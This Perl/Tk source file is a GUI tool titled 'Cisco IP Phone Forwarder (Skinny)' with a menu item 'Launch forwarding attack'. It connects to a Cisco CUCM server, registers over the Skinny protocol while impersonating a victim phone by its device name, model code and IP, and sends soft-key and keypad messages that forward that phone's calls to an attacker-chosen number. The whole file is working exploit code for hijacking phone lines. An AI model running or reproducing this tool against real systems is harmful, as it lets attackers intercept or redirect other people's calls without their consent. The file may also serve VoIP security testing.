# perl
# --------------------------------------------------------
# LICENCE
# This software is under GNU GENERAL PUBLIC LICENSE
# The detail could be found in the file LICENCE include
# in the same directory than isme.pl
# --------------------------------------------------------

BEGIN {
    push @INC, 'PerlModuleSource/Skinny/';
}

use LWP::UserAgent; # http://search.cpan.org/~gaas/libwww-perl-6.03/lib/LWP/UserAgent.pm
use HTTP::Request::Common; #http://search.cpan.org/~gaas/HTTP-Message-6.02/lib/HTTP/Request/Common.pm
use Tk; # http://search.cpan.org/~srezic/Tk/pod/UserGuide.pod
use Tk::Radiobutton;
use Tk::PNG;
use Sys::Hostname;
use Net::Skinny;
use Net::Skinny::Protocol qw/:all/;
use Net::Skinny::Message;

#----------------------------------------------------------
# SUB FUNCTIONS LIST:
#----------------------------------------------------------
# 
# sub Do_Unregistration
# sub Do_Unregistration
# sub Make_Call
#----------------------------------------------------------


# Variable for web brute forcer
my $skinny_server = "192.168.40.1";
my $device_name = "SEP001647CD9C68";
my $IPPhoneAddress_1 = "192";
my $IPPhoneAddress_2 = "168";
my $IPPhoneAddress_3 = "50";
my $IPPhoneAddress_4 = "3";
my $device_ip = "";
my $PhoneNumber1 = "1001";
my $TurnNumber = "3";

my @SupportedPhonelist = ( "6901","6911","6921","6945","6961","7910","7911","7912","7914","7915","7916","7920","7921","7925","7940","7941","7942","7945","7960","7961","7962","7965","7970","7971","7975","7985","8941","8945","8961");

my $PhoneTypeActive_code = "";
my $PhoneTypeActive = "";

my $subweb_mw = MainWindow->new(
						-title => 'Cisco IP Phone Forwarder (Skinny)');

my $menu_bar = $subweb_mw->Frame(
				-relief => 'groove',
				-borderwidth => 3,
				-width => 40,
				)-> pack(
					-side=>'top',
					-fill => 'x'
					);
my $file_mb = $menu_bar->Menubutton(
				-text => 'File',
				)->pack(-side=>'left');
	
		
$file_mb->command(
		-label=>'Launch forwarding attack',
		-command => sub{&LAUNCH_FORWARDER}
		);

$file_mb->command(
	-label=>'Exit',
	-command => [$subweb_mw => 'destroy']
	);
		

#----------	
my $FrameMIDDLE1 = $subweb_mw -> Frame ();

$FrameMIDDLE1->Label(
	-text => 'CUCM IP Address:'
	)->pack(-side => 'left');
my $TextLabel = $FrameMIDDLE1 -> Entry(
	-textvariable => \$skinny_server,
	- width => 59,
	)->pack(-side => 'left');
$FrameMIDDLE1 -> pack (-side => 'top', -anchor => 'w');

#----------	
my $FrameMIDDLE5 = $subweb_mw -> Frame ();

$FrameMIDDLE5->Label(
	-text => 'Phone to forward name (SEP00127FAE8FAD):'
	)->pack(-side => 'left');
my $TextLabel5 = $FrameMIDDLE5 -> Entry(
	-textvariable => \$device_name,
	- width => 37,
	)->pack(-side => 'left');
$FrameMIDDLE5 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE11 = $subweb_mw -> Frame ();

$FrameMIDDLE11->Label(
	-text => 'Phone to forward type:                                  '
	)->pack(-side => 'left');
my $Lbox11 = $FrameMIDDLE11 -> Listbox (
	-height  => 3,
	-selectmode => 'single',
	);
	
$Lbox11->insert('end', sort @SupportedPhonelist );
$Lbox11->selectionSet(0);

my $scroll = $FrameMIDDLE11->Scrollbar(-command => ['yview', $Lbox11]);
$Lbox11->configure(-yscrollcommand => ['set', $scroll]);
$Lbox11->pack(-side => 'left', -fill => 'both', -expand => 1);
$scroll->pack(-side => 'right', -fill => 'y');
$FrameMIDDLE11 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE6 = $subweb_mw -> Frame ();

$FrameMIDDLE6->Label(
	-text => 'Phone to forward IP Address:                         '
	)->pack(-side => 'left');
my $TextLabel6_1 = $FrameMIDDLE6 -> Entry(
	-textvariable => \$IPPhoneAddress_1,
	- width => 7,
	)->pack(-side => 'left');	
$FrameMIDDLE6->Label(
	-text => '.'
	)->pack(-side => 'left');
my $TextLabel6_2 = $FrameMIDDLE6 -> Entry(
	-textvariable => \$IPPhoneAddress_2,
	- width => 7,
	)->pack(-side => 'left');
$FrameMIDDLE6->Label(
	-text => '.'
	)->pack(-side => 'left');
my $TextLabel6_3 = $FrameMIDDLE6 -> Entry(
	-textvariable => \$IPPhoneAddress_3,
	- width => 7,
	)->pack(-side => 'left');
$FrameMIDDLE6->Label(
	-text => '.'
	)->pack(-side => 'left');
my $TextLabel6_4 = $FrameMIDDLE6 -> Entry(
	-textvariable => \$IPPhoneAddress_4,
	- width => 7,
	)->pack(-side => 'left');
		
$FrameMIDDLE6 -> pack (-side => 'top', -anchor => 'w');
#----------	
my $FrameMIDDLE7 = $subweb_mw -> Frame ();

$FrameMIDDLE7->Label(
	-text => 'Forward target number:                                  '
	)->pack(-side => 'left');
my $TextLabel7 = $FrameMIDDLE7 -> Entry(
	-textvariable => \$PhoneNumber1,
	- width => 37,
	)->pack(-side => 'left');
$FrameMIDDLE7 -> pack (-side => 'top', -anchor => 'w');

#-------------
my $FrameMIDDLE4 = $subweb_mw -> Frame (-width => 40, -height => 20);

my $TextWidget = $FrameMIDDLE4  -> Text(); 
$TextWidget->configure(-height => 20);
my $scrollbar = $FrameMIDDLE4 ->Scrollbar(-command => ['yview', $TextWidget]);
$TextWidget->configure(-yscrollcommand => ['set', $scrollbar]);

$TextWidget->pack(-side => 'left', -fill => 'both', -expand => 1);
$scrollbar->pack(-side => 'right', -fill => 'y');
$FrameMIDDLE4 -> pack (-side => 'top', -anchor => 'w');
#-------------
my $FrameMIDDLE10 = $subweb_mw -> Frame ();

$FrameMIDDLE10->Label(
	-text => 'Many thanks to Stephane Gorse for his work on this one.'
	)->pack(-side => 'left');
$FrameMIDDLE10 -> pack (-side => 'top', -anchor => 'w');
#----------	

#------------ LAUNCHING THE MAIN LOOP --------
MainLoop;
#------------ END OF THE GUI INTERFACE DEFINITION STUFF -------------------------------------

sub LAUNCH_FORWARDER
{	

	my $device_ip = $IPPhoneAddress_1+256*($IPPhoneAddress_2+256*($IPPhoneAddress_3+256*$IPPhoneAddress_4));
	
	@index = $Lbox11->curselection();
	$PhoneTypeActive=@SupportedPhonelist[@index];
	
	#[]
	$TextWidget -> insert ("end", "Index: @index\n\n");
	$TextWidget  -> update ();
	
	$TextWidget -> insert ("end", "PhoneTypeActive: $PhoneTypeActive\n\n");
	$TextWidget  -> update ();


#define  SKINNY_DEVICETYPE_CISCO7915_12BUTTONS   227 
#define  SKINNY_DEVICETYPE_CISCO7916_12BUTTONS   229 
#define  SKINNY_DEVICETYPE_CISCO7931   348 
#define  SKINNY_DEVICETYPE_CISCO7935   9 
#define  SKINNY_DEVICETYPE_CISCO7936   30019 
#define  SKINNY_DEVICETYPE_CISCO7937   431 
#define  SKINNY_DEVICETYPE_CISCO_IP_COMMUNICATOR   30016 
	
	
	
	if ($PhoneTypeActive == "6901")
	{
		$PhoneTypeActive_code ="547";	
	};
	if ($PhoneTypeActive == "6911")
	{
		$PhoneTypeActive_code ="548";	
	};
	if ($PhoneTypeActive == "6921")
	{
		$PhoneTypeActive_code ="495";	
	};
	if ($PhoneTypeActive == "6945")
	{
		$PhoneTypeActive_code ="564";	
	};		
	if ($PhoneTypeActive == "6961")
	{
		$PhoneTypeActive_code ="497";	
	};		
	if ($PhoneTypeActive == "7910")
	{
		$PhoneTypeActive_code ="6";	
	};
	if ($PhoneTypeActive == "7911")
	{
		$PhoneTypeActive_code ="307";	
	};
	if ($PhoneTypeActive == "7912")
	{
		$PhoneTypeActive_code ="30007";	
	};
	if ($PhoneTypeActive == "7914")
	{
		$PhoneTypeActive_code ="124";	
	};
	if ($PhoneTypeActive == "7915")
	{
		$PhoneTypeActive_code ="228";	
	};
	if ($PhoneTypeActive == "7916")
	{
		$PhoneTypeActive_code ="230";	
	};
	if ($PhoneTypeActive == "7920")
	{
		$PhoneTypeActive_code ="30002";	
	};
	if ($PhoneTypeActive == "7921")
	{
		$PhoneTypeActive_code ="365";	
	};
	if ($PhoneTypeActive == "7925")
	{
		$PhoneTypeActive_code ="484";	
	};
	if ($PhoneTypeActive == "7940")
	{
		$PhoneTypeActive_code ="8";	
	};	
	if ($PhoneTypeActive == "7941")
	{
		$PhoneTypeActive_code ="115";	
	};
	if ($PhoneTypeActive == "7942")
	{
		$PhoneTypeActive_code ="434";	
	};
	if ($PhoneTypeActive == "7945")
	{
		$PhoneTypeActive_code ="435";	
	};
	if ($PhoneTypeActive == "7960")
	{
		$PhoneTypeActive_code ="7";	
	};
	if ($PhoneTypeActive == "7961")
	{
		$PhoneTypeActive_code ="30018";	
	};
	if ($PhoneTypeActive == "7962")
	{
		$PhoneTypeActive_code ="404";	
	};
	if ($PhoneTypeActive == "7965")
	{
		$PhoneTypeActive_code ="436";	
	};	
	if ($PhoneTypeActive == "7970")
	{
		$PhoneTypeActive_code ="30006";	
	};
	if ($PhoneTypeActive == "7971")
	{
		$PhoneTypeActive_code ="119";	
	};
	if ($PhoneTypeActive == "7975")
	{
		$PhoneTypeActive_code ="437";	
	};
	if ($PhoneTypeActive == "7985")
	{
		$PhoneTypeActive_code ="302";	
	};
	if ($PhoneTypeActive == "8941")
	{
		$PhoneTypeActive_code ="586";	
	};
	if ($PhoneTypeActive == "8945")
	{
		$PhoneTypeActive_code ="585";	
	};	
	if ($PhoneTypeActive == "8961")
	{
		$PhoneTypeActive_code ="540";	
	};
	
	my $socket = Connection_To_Server();

	if ($socket)
	
	{	
		Do_Registration($socket, $device_name,$PhoneTypeActive_code, $device_ip);
	
		$Length1=length($PhoneNumber1);
		$Length2=length($PhoneNumber2);
	
		@NumberDigits1=split( '', $PhoneNumber1);
	
		Do_CallForward($socket, $Length1, $NumberDigits1[0], $NumberDigits1[1], $NumberDigits1[2], $NumberDigits1[3], $NumberDigits1[4], $NumberDigits1[5], $NumberDigits1[6], $NumberDigits1[7], $NumberDigits1[8], $NumberDigits1[9], $NumberDigits1[10], $NumberDigits1[11], $NumberDigits1[12], $NumberDigits1[13], $NumberDigits1[14], $NumberDigits1[15], $NumberDigits1[16], $NumberDigits1[17], $NumberDigits1[18], $NumberDigits1[19], $NumberDigits1[20]);	
			
		$TextWidget -> insert ("end", "=============> Forwar done ==============\n\n");
		$TextWidget  -> update ();
		$socket->sleep(2);
	};	
}

sub Connection_To_Server 
{
	my $socket = Net::Skinny->new(
			PeerAddr => $skinny_server,
			PeerPort => 2000,
			);
	
	if(!$socket) 
	{
	    $TextWidget -> insert ("end", "=======> Unable to connect to server =======\n\n");
	    $TextWidget  -> update ();
	}
	else 
	{
		return $socket;
	}
}

sub Do_Unregistration
{	
	my $socket=$_[0];
	$TextWidget -> insert ("end", "==========> Sending Unregister Message ===========\n\n");
	$TextWidget  -> update ();
	
	$socket->send_message(UNREGISTER_MESSAGE);
	$socket->receive_message(); # UnRegisterAck
}

sub Do_Registration
{
	my $socket=$_[0];			# Socket for exchanging skinny messages
	my $device_name = $_[1];	# Device name of Cisco IP Phone 
	my $device_type = $_[2];	# Device type of Cisco IP Phone
	my $device_ip=$_[3];		# Device IP of the Netbook or whatever
	
	Do_Unregistration($socket);

	$TextWidget -> insert ("end", "==========> Sending Register Message ===========\n\n");
	$TextWidget  -> update ();
	
	$socket->send_message(
	    REGISTER_MESSAGE,
	    device_name => $device_name,
	    user_id => 0,
	    instance => 0,
	    ip => $device_ip,
	    device_type => $device_type, #119 or 434
	    max_streams => 5,
	    );
	$socket->receive_message(); # RegisterAck
	
	$TextWidget -> insert ("end", "==========> Sending Capabilities Response Message ===========\n\n");
	$TextWidget  -> update ();

	$socket->receive_message(); # CapabilitiesReq
	$socket->send_message(
	    CAPABILITIES_RES_MESSAGE,
	    count => 2,
	    caps => pack("Vva10"."Vva10",
			    2, 8, "", # codec, frames, res
			    4, 16, "", # codec, frames, res
		    )
		);
	
	# print "\n==========> UserToDeviceDataVersion1 Message ===========\n\n";
	# $socket->receive_message(); # UserToDeviceDataVersion1
	

	$TextWidget -> insert ("end", "==========> ButtonTemplateReq Message ===========\n\n");
	$TextWidget  -> update ();
	$socket->send_message(BUTTON_TEMPLATE_REQ_MESSAGE);
	$socket->receive_message(); # ButtonTemplateMessage
	
	$TextWidget -> insert ("end", "==========> SoftKeyTemplateReq Message ===========\n\n");
	$TextWidget  -> update ();
	$socket->send_message(SOFT_KEY_TEMPLATE_REQ_MESSAGE);
	$socket->receive_message(); # SoftKeyTemplateRes
	$socket->receive_message(); # SoftKeyTemplateRes
	$socket->receive_message(); # SoftKeyTemplateRes
	
	$TextWidget -> insert ("end", "==========> SoftKeySetReq Message ===========\n\n");
	$TextWidget  -> update ();
	$socket->send_message(SOFT_KEY_SET_REQ_MESSAGE);
	$socket->receive_message(); # SoftKeySetRes
	$socket->receive_message(); # SelectSoftKeys
	
	$TextWidget -> insert ("end", "==========> ConfigStat Message ===========\n\n");
	$TextWidget  -> update ();
	$socket->send_message(CONFIG_STAT_REQ_MESSAGE);
	$socket->receive_message(); # DisplayPromptStatus
	$socket->receive_message(); # ConfigStat
	
	$TextWidget -> insert ("end", "==========> LineStat Message ===========\n\n");
	$TextWidget  -> update ();
	$socket->send_message(
	    LINE_STAT_REQ_MESSAGE,
	    number => 1,
	    );
	$socket->receive_message(); # LineStat
	
	$TextWidget -> insert ("end", "==========> RegisterAvailableLine Message ===========\n\n");
	$TextWidget  -> update ();
	$socket->send_message(
	    REGISTER_AVAILABLE_LINES_MESSAGE, 
	    count => 2
	    );
	
	$TextWidget -> insert ("end", "==========> LineStat Message ===========\n\n");
	$TextWidget  -> update ();
	$socket->send_message(
	    LINE_STAT_REQ_MESSAGE,
	    number => 1,
	    );
	$socket->receive_message(); # LineStat
	
	$socket->sleep(1);
	
}

sub Do_CallForward
{
	my $socket=$_[0];				# Socket for exchanging messages
	my $number_of_digit=$_[1];		# Number of digits (4 for a short extension, 11 for external one)
	my @digits = (0);				# Table containing the phone number
	
	for(my $i = 0; $i < $number_of_digit; $i++)
	{
		$digits[$i] = $_[$i+2];
	}
	
	$TextWidget -> insert ("end", "---> Transfering to : \n");
   	$TextWidget  -> update ();
	# Just for control
	for(my $i = 0; $i < $number_of_digit; $i++)
	{		
		$TextWidget -> insert ("end", "$digits[$i]");
	}
	$TextWidget -> insert ("end", "\n");
   	$TextWidget  -> update ();
	
	$socket->send_message(
	    SOFT_KEY_EVENT_MESSAGE, 
	    event => 5, #CallForward
	    line_instance => 1,
	    call_id => 0,
	    );
	$socket->receive_message(); # SetRinger
	$socket->receive_message(); # SetSpeakerMode
	$socket->receive_message(); # SetLamp
	$socket->receive_message(); # CallSateMessage
	
	$socket->send_message(
	    KEYPAD_BUTTON_MESSAGE,
		button => $digits[0],
		);
	$socket->receive_message(); # StopStoneMessage
	$socket->receive_message(); # SelectSoftKeys
	
	for(my $i = 1; $i<$number_of_digit; $i++)
	{
		$socket->send_message(
		    KEYPAD_BUTTON_MESSAGE,
			button => $digits[$i],
			);
	}		
	
    $socket->sleep(1);
    $socket->receive_message();
	$socket->receive_message();
	$socket->receive_message();
	$socket->receive_message();
	$socket->receive_message();
	
   	$TextWidget -> insert ("end", "---> the transfer is completed\n\n");
   	$TextWidget -> yviewMoveto(1);	
}

